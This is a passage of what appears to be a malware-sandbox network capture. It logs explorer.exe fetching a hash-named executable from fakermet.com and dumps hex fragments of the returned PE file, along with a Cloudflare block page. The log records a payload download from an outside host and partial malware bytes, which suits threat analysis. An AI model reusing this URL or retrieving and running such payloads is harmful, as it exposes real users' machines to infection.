2022-08-31 12:30:03 UTC	5003	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:30:03 UTC	5004	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:30:03 UTC	5005	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:30:03 UTC	5006	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49745	172.67.202.54	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:59 UTC	487	OUT	GET /48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: fakermet.com
2022-08-31 12:28:59 UTC	488	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:28:59 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4342312 Connection: close Last-Modified: Wed, 31 Aug 2022 12:09:36 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BoC5DWuLDN%2F%2BdFQP30zGEBJKaZNf8NzFeUPFTN8jiiObibxYinFFn9dEINkyAEbGw42Tg8fkse5h%2Bbp9UU4zfdUE04E4oRkzuT7lZUf9so7u2nY2cv6aco6Hu%2FZZNy0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4e96dd776fc-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:28:59 UTC	488	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 6d 45 5a 62 0c 2b 09 62 0c 2b 09 62 0c 2b 09 7c 5e be 09 75 0c 2b 09 7c 5e a8 09 e5 0c 2b 09 45 ca 50 09 65 0c 2b 09 62 0c 2a 09 d6 0c 2b 09 7c 5e af 09 59 0c 2b 09 7c 5e bf 09 63 0c 2b 09 7c 5e ba 09 63 0c 2b 09 52 69 63 68 62 0c 2b 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 cf af 6e 60 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$&mEZb+b+b+\|^u+\|^+EPe+b*+\|^Y+\|^c+\|^c+Richb+PELn`
2022-08-31 12:28:59 UTC	489	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	490	IN	Data Raw: 00 78 00 69 00 77 00 75 00 77 00 6f 00 67 00 6f 00 78 00 61 00 70 00 65 00 78 00 69 00 66 00 6f 00 6d 00 65 00 6a 00 61 00 73 00 69 00 6b 00 65 00 63 00 6f 00 67 00 6f 00 00 00 00 00 58 65 64 75 68 69 64 65 77 61 20 62 65 72 75 7a 65 76 00 00 4a 61 63 6f 74 69 74 75 6c 20 77 61 63 69 6d 65 00 00 00 00 52 00 65 00 67 00 75 00 72 00 65 00 6d 00 6f 00 63 00 69 00 62 00 65 00 6e 00 6f 00 20 00 66 00 65 00 6d 00 75 00 7a 00 6f 00 64 00 61 00 20 00 78 00 65 00 63 00 69 00 77 00 6f 00 6b 00 65 00 79 00 69 00 77 00 61 00 78 00 61 00 20 00 77 00 65 00 6a 00 00 00 00 00 6a 6f 73 00 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 00 00 56 00 6f 00 66 00 61 00 6b 00 20 00 67 00 61 00 7a 00 69 00 72 00 61 00 67 00 75 00 6c 00 61 00 00 00 00 00 4c 65 7a 61 73 20 76 65 73 6f Data Ascii: xiwuwogoxapexifomejasikecogoXeduhidewa beruzevJacotitul wacimeReguremocibeno femuzoda xeciwokeyiwaxa wejjoskernel32.dllVofak gaziragulaLezas veso
2022-08-31 12:28:59 UTC	492	IN	Data Raw: 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 6f 6e 65 78 69 74 2e 63 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 9c 19 40 00 94 19 40 00 90 19 40 00 88 19 40 00 80 19 40 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 00 00 00 49 6e 76 61 6c 69 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 73 69 7a 65 3a 20 25 49 75 20 62 79 74 65 73 2e 0a 00 00 00 00 25 73 00 00 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 Data Ascii: d\vctools\crt_bld\self_x86\crt\src\onexit.cClientIgnoreCRTNormalFree@@@@@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation
2022-08-31 12:28:59 UTC	493	IN	Data Raw: 00 58 00 52 00 45 00 51 00 20 00 2f 00 20 00 63 00 6f 00 75 00 6e 00 74 00 29 00 20 00 3e 00 3d 00 20 00 73 00 69 00 7a 00 65 00 00 00 00 00 70 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 5f 00 70 00 4c 00 61 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 20 00 3d 00 3d 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 00 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 Data Ascii: XREQ / count) >= sizepUserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLi
2022-08-31 12:28:59 UTC	494	IN	Data Raw: 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 74 6f 70 20 6f 66 20 46 72 65 65 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2e 0a 43 52 54 20 64 65 74 65 63 74 65 64 20 74 68 61 74 20 74 68 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 77 72 6f 74 65 20 74 6f 20 61 20 68 65 61 70 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 44 41 4d 41 47 45 44 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c Data Ascii: ORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fail
2022-08-31 12:28:59 UTC	496	IN	Data Raw: 00 28 00 28 00 28 00 5f 00 53 00 72 00 63 00 29 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 74 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 28 00 28 00 5f 00 44 00 73 00 74 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 20 00 26 00 26 00 20 00 28 00 28 00 5f 00 53 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 29 00 29 00 20 00 3e 00 20 00 30 00 00 00 00 00 00 00 Data Ascii: (((_Src))) != NULLstrcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl((_Dst)) != NULL && ((_SizeInBytes)) > 0
2022-08-31 12:28:59 UTC	497	IN	Data Raw: 65 00 20 00 74 00 68 00 65 00 20 00 56 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 53 00 68 00 6f 00 72 00 74 00 50 00 72 00 6f 00 67 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 54 00 43 00 48 00 41 00 52 00 29 00 20 00 2a 00 20 00 28 00 32 00 36 00 30 00 20 00 2d 00 20 00 28 00 73 00 7a 00 53 00 68 00 6f 00 72 00 74 00 50 00 72 00 6f 00 67 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 20 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 29 00 29 00 2c 00 20 00 64 00 6f 00 74 Data Ascii: e the Visual C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dot
2022-08-31 12:28:59 UTC	498	IN	Data Raw: 00 20 00 62 00 75 00 66 00 29 00 29 00 2c 00 20 00 22 00 65 00 2b 00 30 00 30 00 30 00 22 00 29 00 00 00 00 00 00 00 73 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 20 00 3e 00 20 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 28 00 33 00 20 00 2b 00 20 00 28 00 6e 00 64 00 65 00 63 00 20 00 3e 00 20 00 30 00 20 00 3f 00 20 00 6e 00 64 00 65 00 63 00 20 00 3a 00 20 00 30 00 29 00 20 00 2b 00 20 00 35 00 20 00 2b 00 20 00 31 00 29 00 00 00 5f 00 63 00 66 00 74 00 6f 00 65 00 32 00 5f 00 6c 00 00 00 73 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 20 00 3e 00 20 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 28 00 31 00 20 00 2b 00 20 00 34 00 20 00 2b 00 20 00 6e 00 64 00 65 00 63 00 20 00 2b 00 20 00 36 00 29 00 Data Ascii: buf)), "e+000")sizeInBytes > (size_t)(3 + (ndec > 0 ? ndec : 0) + 5 + 1)_cftoe2_lsizeInBytes > (size_t)(1 + 4 + ndec + 6)
2022-08-31 12:28:59 UTC	500	IN	Data Raw: 74 69 61 6c 69 7a 65 20 68 65 61 70 0d 0a 00 00 00 00 52 36 30 32 37 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 77 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 36 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 73 74 64 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 35 0d 0a 2d 20 70 75 72 65 20 76 69 72 74 75 61 6c 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 74 61 62 6c 65 0d 0a 00 00 00 00 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 63 6f 6e 73 6f Data Ascii: tialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open conso
2022-08-31 12:28:59 UTC	501	IN	Data Raw: 00 6f 00 66 00 28 00 6f 00 75 00 74 00 6d 00 73 00 67 00 29 00 20 00 2f 00 20 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6f 00 75 00 74 00 6d 00 73 00 67 00 5b 00 30 00 5d 00 29 00 29 00 2c 00 20 00 22 00 52 00 75 00 6e 00 74 00 69 00 6d 00 65 00 20 00 45 00 72 00 72 00 6f 00 72 00 21 00 5c 00 6e 00 5c 00 6e 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 3a 00 20 00 22 00 29 00 00 00 5f 00 4e 00 4d 00 53 00 47 00 5f 00 57 00 52 00 49 00 54 00 45 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 63 00 72 00 74 00 30 00 6d 00 73 00 67 00 2e 00 63 00 00 00 Data Ascii: of(outmsg) / sizeof(outmsg[0])), "Runtime Error!\n\nProgram: ")_NMSG_WRITEf:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
2022-08-31 12:28:59 UTC	502	IN	Data Raw: 30 00 20 00 7c 00 7c 00 20 00 66 00 6c 00 61 00 67 00 20 00 3d 00 3d 00 20 00 31 00 00 00 00 00 28 00 6e 00 75 00 6c 00 6c 00 29 00 00 00 00 00 28 6e 75 6c 6c 29 00 00 00 00 00 00 06 00 00 06 00 01 00 00 10 00 03 06 00 06 02 10 04 45 45 45 05 05 05 05 05 35 30 00 50 00 00 00 00 28 20 38 50 58 07 08 00 37 30 30 57 50 07 00 00 20 20 08 00 00 00 00 08 60 68 60 60 60 60 00 00 78 70 78 78 78 78 08 07 08 00 00 07 00 08 08 08 00 00 08 00 08 00 07 08 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 6f 75 74 70 75 74 2e 63 00 00 00 00 00 28 00 22 00 27 00 6e 00 27 00 20 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 72 00 20 00 64 00 69 00 73 Data Ascii: 0 \|\| flag == 1(null)(null)EEE50P( 8PX700WP `h````xpxxxxf:\dd\vctools\crt_bld\self_x86\crt\src\output.c("'n' format specifier dis
2022-08-31 12:28:59 UTC	504	IN	Data Raw: 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 32 00 36 00 30 00 2c 00 20 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 41 00 00 00 5f 00 65 00 78 00 70 00 61 00 6e 00 64 00 5f 00 62 00 61 00 73 00 65 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 65 00 78 00 70 00 61 00 6e 00 64 00 2e 00 Data Ascii: s(szExeName, 260, "<program name unknown>")__crtMessageWindowA_expand_basef:\dd\vctools\crt_bld\self_x86\crt\src\expand.
2022-08-31 12:28:59 UTC	505	IN	Data Raw: 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 64 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 Data Ascii: copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`
2022-08-31 12:28:59 UTC	506	IN	Data Raw: 00 b8 52 40 00 b4 52 40 00 b0 52 40 00 ac 52 40 00 a8 52 40 00 a4 52 40 00 a0 52 40 00 9c 52 40 00 98 52 40 00 94 52 40 00 90 52 40 00 8c 52 40 00 88 52 40 00 84 52 40 00 80 52 40 00 7c 52 40 00 78 52 40 00 74 52 40 00 70 52 40 00 64 52 40 00 58 52 40 00 50 52 40 00 44 52 40 00 2c 52 40 00 20 52 40 00 0c 52 40 00 ec 51 40 00 cc 51 40 00 ac 51 40 00 8c 51 40 00 6c 51 40 00 48 51 40 00 2c 51 40 00 08 51 40 00 e8 50 40 00 c0 50 40 00 a4 50 40 00 94 50 40 00 90 50 40 00 88 50 40 00 78 50 40 00 54 50 40 00 4c 50 40 00 40 50 40 00 30 50 40 00 14 50 40 00 f4 4f 40 00 cc 4f 40 00 a4 4f 40 00 7c 4f 40 00 50 4f 40 00 34 4f 40 00 10 4f 40 00 ec 4e 40 00 c0 4e 40 00 94 4e 40 00 78 4e 40 00 d0 45 40 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 Data Ascii: R@R@R@R@R@R@R@R@R@R@R@R@R@R@R@\|R@xR@tR@pR@dR@XR@PR@DR@,R@ R@R@Q@Q@Q@Q@lQ@HQ@,Q@Q@P@P@P@P@P@P@xP@TP@LP@@P@0P@P@O@O@O@\|O@PO@4O@O@N@N@N@xN@E@f:\dd\vctoo
2022-08-31 12:28:59 UTC	508	IN	Data Raw: 3a 20 00 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 55 00 73 00 65 00 72 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 22 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 00 74 00 72 00 69 00 6e 00 67 00 20 00 74 00 6f 00 6f 00 20 00 6c 00 6f 00 6e 00 67 00 20 00 6f 00 72 00 20 00 49 00 4f 00 20 00 45 00 72 00 72 00 6f 00 72 00 22 00 29 00 00 00 0a 00 00 00 2c 20 4c 69 6e 65 20 00 3c 66 69 6c 65 20 75 6e 6b 6e 6f 77 6e 3e 00 00 53 65 63 6f 6e 64 20 43 68 61 6e 63 65 20 41 73 73 65 72 74 69 6f 6e 20 46 61 69 6c 65 64 3a 20 46 69 6c 65 20 00 00 00 00 00 00 00 5f 00 69 00 74 00 6f 00 61 00 5f 00 73 00 28 00 6e 00 4c 00 69 00 6e Data Ascii: : strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), Line <file unknown>Second Chance Assertion Failed: File _itoa_s(nLin
2022-08-31 12:28:59 UTC	509	IN	Data Raw: 00 65 00 64 00 3a 00 20 00 22 00 20 00 3a 00 20 00 4c 00 22 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 21 00 22 00 29 00 00 00 00 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 21 00 00 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 3a 00 20 00 00 00 00 00 00 00 00 00 77 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 55 00 73 00 65 00 72 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 4c 00 22 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 00 74 00 72 00 69 00 6e 00 67 00 20 00 74 00 6f 00 Data Ascii: ed: " : L"Assertion failed!")Assertion failed!Assertion failed: wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String to
2022-08-31 12:28:59 UTC	510	IN	Data Raw: 20 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 28 00 28 00 64 00 69 00 67 00 69 00 74 00 73 00 20 00 3e 00 20 00 30 00 20 00 3f 00 20 00 64 00 69 00 67 00 69 00 74 00 73 00 20 00 3a 00 20 00 30 00 29 00 20 00 2b 00 20 00 31 00 29 00 00 00 5f 00 66 00 70 00 74 00 6f 00 73 00 74 00 72 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 5f 00 66 00 70 00 74 00 6f 00 73 00 74 00 72 00 2e 00 63 00 00 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 72 00 65 00 73 00 75 00 6c 00 74 00 73 00 74 00 72 00 2c 00 20 00 72 00 65 00 73 00 75 00 6c Data Ascii: (size_t)((digits > 0 ? digits : 0) + 1)_fptostrf:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.cstrcpy_s(resultstr, resul
